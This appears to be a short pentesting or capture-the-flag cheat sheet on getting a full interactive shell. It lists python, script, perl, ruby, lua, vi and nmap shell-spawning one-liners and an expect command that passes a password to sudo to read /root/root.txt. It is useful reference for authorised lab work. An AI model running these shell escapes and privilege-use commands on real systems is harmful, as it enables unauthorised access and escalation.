Full TTYs
2024-03-17 13:15:27
Python
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
Script
1 | script /dev/null -qc /bin/bash |
Socat
1 | # Listener |
Spawn shells
python -c 'import pty; pty.spawn("/bin/sh")'echo os.system('/bin/bash')/bin/sh -iscript -qc /bin/bash /dev/nullperl -e 'exec "/bin/sh";'- perl:
exec "/bin/sh"; - ruby:
exec "/bin/sh" - lua:
os.execute('/bin/sh') - IRB:
exec "/bin/sh" - vi:
:!bash - vi:
:set shell=/bin/bash:shell - nmap:
!sh
No TTY, No Problem
If for some reason you cannot obtain a full TTY you still can interact with programs that expect user input. In the following example, the password is passed to sudo to read a file:
1 | expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact' |
2024-03-17 13:15:27